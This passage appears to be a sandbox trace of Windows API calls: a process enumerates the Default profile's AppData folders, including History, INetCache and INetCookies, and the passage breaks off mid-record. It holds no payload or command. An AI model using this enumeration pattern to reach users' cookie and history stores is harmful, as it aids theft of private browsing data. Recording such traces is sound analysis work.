dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0209.586] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0209.587] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0209.587] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3757c8c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3757c8c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shell", cAlternateFileName="")) returned 1 [0209.587] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0209.587] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinX", cAlternateFileName="")) returned 1 [0209.588] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinX", cAlternateFileName="")) returned 0 [0209.588] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0209.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0209.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0209.589] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows", lpFilePart=0x0) returned 0x30 [0209.589] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.590] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.590] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0209.591] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0209.591] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0209.591] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0209.591] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3757c8c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3757c8c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shell", cAlternateFileName="")) returned 1 [0209.591] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0209.592] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinX", cAlternateFileName="")) returned 1 [0209.592] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.592] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0209.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0209.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.593] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", lpFilePart=0x0) returned 0x3d [0209.593] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\gameexplorer\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.595] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.752] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.752] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.752] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", lpFilePart=0x0) returned 0x3d [0209.752] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\gameexplorer\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.752] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.753] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.753] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.753] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History", lpFilePart=0x0) returned 0x38 [0209.753] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.754] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.755] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.755] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.755] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History", lpFilePart=0x0) returned 0x38 [0209.755] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.755] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.756] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.756] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.756] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCache", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCache", lpFilePart=0x0) returned 0x3a [0209.756] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCache\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\inetcache\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.757] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.757] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.757] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.757] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCache", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCache", lpFilePart=0x0) returned 0x3a [0209.757] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCache\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\inetcache\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.758] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.758] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.758] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.758] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCookies", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCookies", lpFilePart=0x0) returned 0x3c [0209.758] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\inetcookies\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.759] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, 